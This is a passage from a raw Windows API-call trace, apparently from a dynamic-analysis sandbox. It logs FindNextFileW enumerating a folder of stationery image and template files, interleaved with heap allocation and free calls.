lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909258 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b668 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x540) returned 0x8ffe90 [0240.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0240.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.605] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909278 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c1a8 [0240.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.605] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.605] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.605] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909298 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c2b0 [0240.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.606] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9092b8 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c3b8 [0240.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.606] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9092d8 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c4c0 [0240.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.606] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.606] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9092f8 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c5c8 [0240.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.607] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909318 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c6d0 [0240.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.607] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909338 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c7d8 [0240.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.607] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.607] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909358 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c8e0 [0240.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.608] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909378 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90c9e8 [0240.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.608] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909398 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90caf0 [0240.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.608] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.608] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9093b8 [0240.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90cbf8 [0240.609] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0240.609] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.609] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0240.609] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, 